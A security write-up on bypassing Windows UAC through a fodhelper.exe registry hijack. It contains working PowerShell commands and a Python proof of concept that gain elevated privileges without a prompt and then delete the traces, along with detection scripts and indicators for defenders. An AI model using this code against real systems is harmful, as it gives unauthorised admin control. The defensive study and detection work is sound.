← Back to writeups Privilege Escalation

UAC Bypass via fodhelper.exe

Medium → High integrity without a UAC prompt — the registry hijack that still works

UAC bypass via fodhelper registry hijack

// What is this?
Windows has a 'are you sure?' admin prompt — this technique silently skips it.

Your account has two security tokens: a normal one and a hidden admin one. UAC controls when the admin token activates. fodhelper.exe is a Windows binary allowed to self-elevate. By writing a payload path to a registry key it reads before launching, your code gets the admin token with no prompt shown. No exploit, no vulnerability — just abusing documented Windows behaviour.

PowerShell — UAC Bypass Detection
# Check fodhelper hijack key
Get-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -ErrorAction SilentlyContinue

# Check eventvwr hijack key
Get-ItemProperty "HKCU:\Software\Classes\mscfile\Shell\Open\command" -ErrorAction SilentlyContinue

# Check computerdefaults hijack
Get-ItemProperty "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber54m53yd1bs\Shell\open\command" -ErrorAction SilentlyContinue

# Auto-elevating binaries recently executed (check parent/child)
Get-WinEvent -FilterHashtable @{LogName="Security"; Id=4688} -MaxEvents 200 -ErrorAction SilentlyContinue |
  Where-Object { $_.Message -match "fodhelper|eventvwr|computerdefaults" }
If this flags: Any value in these HKCU registry keys indicates UAC bypass attempt. The DelegateExecute value should not exist. Delete the key and investigate the creating process.

Windows UAC creates a split token for admin-group users. Your process runs at Medium integrity with a filtered token; the full admin token is dormant. UAC bypass = get the unfiltered token without triggering the elevation prompt.

// Why does this work?
Microsoft trusts certain Windows programs to elevate themselves silently.

Some Windows tools need admin rights to function — like changing accessibility settings (fodhelper.exe). Instead of prompting every time, Microsoft marks them as "auto-elevate" in their manifest. Before running, these programs check registry keys for configuration. The problem: one key they check is in HKCU (user-writable, no admin needed). You write your payload there, trigger the trusted program, and Windows hands your payload the admin token because it thinks it's part of the trusted program's initialization.

Standard User (Medium)  →  UAC Bypass  →  Admin (High)  →  SYSTEM

Why fodhelper

fodhelper.exe is a Windows binary marked autoElevate: true in its manifest. It elevates itself without prompting the user. Before executing, it checks HKCU:\Software\Classes\ms-settings\Shell\Open\command for a protocol handler. HKCU is user-writable — no admin rights required to set it. Write a payload there, trigger fodhelper, it executes your payload elevated.

The Registry Keys

Three keys are required. The DelegateExecute value must exist (even empty) — without it, fodhelper falls back to the system handler instead of reading your default value.

# PowerShell — set registry payload

New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(default)" -Value "cmd.exe" -PropertyType String -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value "" -PropertyType String -Force

# Trigger (from cmd.exe, not PowerShell — avoids AV hooks on Start-Process)
cmd /c fodhelper.exe

Python Implementation

Source: uac-to-system-poc/uac_bypass.py — credit Rainfantry + Asi.

import subprocess, winreg, os, time

def uac_bypass_fodhelper(payload="cmd.exe"):
    reg_path = r"Software\Classes\ms-settings\Shell\Open\command"

    # Step 1: Create registry key
    key = winreg.CreateKeyEx(
        winreg.HKEY_CURRENT_USER, reg_path, 0, winreg.KEY_ALL_ACCESS
    )

    # Step 2: Set payload as default value
    winreg.SetValueEx(key, "", 0, winreg.REG_SZ, payload)

    # Step 3: DelegateExecute must exist (empty string)
    winreg.SetValueEx(key, "DelegateExecute", 0, winreg.REG_SZ, "")
    winreg.CloseKey(key)

    # Step 4: Trigger — spawns elevated process
    subprocess.Popen(r"C:\Windows\System32\fodhelper.exe", shell=True)

    # Step 5: Cleanup artifact
    time.sleep(2)
    cleanup_uac_bypass()

def cleanup_uac_bypass():
    for path in [
        r"Software\Classes\ms-settings\Shell\Open\command",
        r"Software\Classes\ms-settings\Shell\Open",
        r"Software\Classes\ms-settings\Shell",
        r"Software\Classes\ms-settings",
    ]:
        try: winreg.DeleteKey(winreg.HKEY_CURRENT_USER, path)
        except: pass
Research credit: Rainfantry + Asi — two veterans, different countries, same discipline. Source: uac-to-system-poc (22nd Survey Division)

Why It Works

fodhelper reads HKCU before the system-wide HKLM handlers. HKCU is user-writable without any elevation. The autoElevate manifest flag means Windows launches fodhelper at High integrity without a UAC dialog — and since you've set the command handler, your payload inherits that elevation.

The DelegateExecute value is the trigger. When Windows sees it (even blank), it treats the key as a COM activation handler and reads the default value as the COM server path. Delete that key and the bypass silently stops working.

The Protocol Handler Pattern

This bypass exploits how Windows resolves protocol handlers. When fodhelper launches, it opens ms-settings:. Windows checks:

  1. HKCU\Software\Classes\ms-settings\Shell\Open\command — user override
  2. HKLM\Software\Classes\ms-settings\Shell\Open\command — system default

HKCU wins. Since fodhelper runs elevated (autoElevate manifest), whatever command you've placed there runs elevated too. The DelegateExecute value switches Windows from "launch this executable" to "COM-activate this handler" mode — which still reads your default value as the executable path.

Other Auto-Elevating Binaries

fodhelper isn't unique. Windows has dozens of autoElevate: true binaries that bypass UAC when conditions are met. The pattern is the same: find a binary that auto-elevates AND reads HKCU before executing.

BinaryProtocol/HandlerRegistry Path
fodhelper.exe ms-settings: HKCU\...\ms-settings\Shell\Open\command
eventvwr.exe mscfile HKCU\...\mscfile\Shell\Open\command
computerdefaults.exe AppX handler HKCU\...\AppX...\Shell\open\command
sdclt.exe Shell\Runas HKCU\...\exefile\Shell\runas\command

Defense note: Monitoring all these keys is impractical. Instead, monitor process ancestry: any of these auto-elevating binaries spawning unexpected children (cmd.exe, powershell.exe, scripts) is anomalous.

PowerShell — All UAC Bypass Keys Audit
# All known UAC bypass registry keys (check for any content)
$bypassPaths = @(
    "HKCU:\Software\Classes\ms-settings\Shell\Open\command",
    "HKCU:\Software\Classes\mscfile\Shell\Open\command",
    "HKCU:\Software\Classes\exefile\Shell\runas\command",
    "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber54m53yd1bs\Shell\open\command"
)

foreach ($path in $bypassPaths) {
    if (Test-Path $path) {
        Write-Host "[!] UAC BYPASS KEY EXISTS: $path" -ForegroundColor Red
        Get-ItemProperty $path
    }
}

# Process ancestry check (requires Sysmon or 4688 auditing)
Get-WinEvent -FilterHashtable @{LogName="Security"; Id=4688} -MaxEvents 500 -EA SilentlyContinue |
  Where-Object { $_.Message -match "fodhelper|eventvwr|computerdefaults|sdclt" } |
  Select-Object -First 10 | Format-List
If this flags: ANY content in these HKCU keys is a UAC bypass attempt. These keys should not exist under normal operation. Delete immediately and investigate creating process.

Integrity Levels

LevelSIDContext
LowS-1-16-4096Sandboxed apps (browser renderer)
MediumS-1-16-8192Normal user — where you start
HighS-1-16-12288Admin elevated — fodhelper lands here
SystemS-1-16-16384NT AUTHORITY\SYSTEM — next phase

Execution Path Notes

Detection — Blue Team

Registry IOC: Any write to HKCU\Software\Classes\ms-settings\Shell\Open\command. This key has no legitimate user-mode use case. Alert on creation or modification.

Process IOC: fodhelper.exe spawning child processes (especially cmd.exe, powershell.exe, or binaries outside System32). Event ID 4688 with ParentProcessName = fodhelper.exe.

Token IOC: Process token integrity level jumps from Medium to High without a visible UAC prompt in Event ID 4624.

Limitations

Demo

fodhelper registry write → UAC bypass → High integrity cmd.exe. Recorded on Windows 11.

MITRE ATT&CK: T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control) · Next: Token Stealing → SYSTEM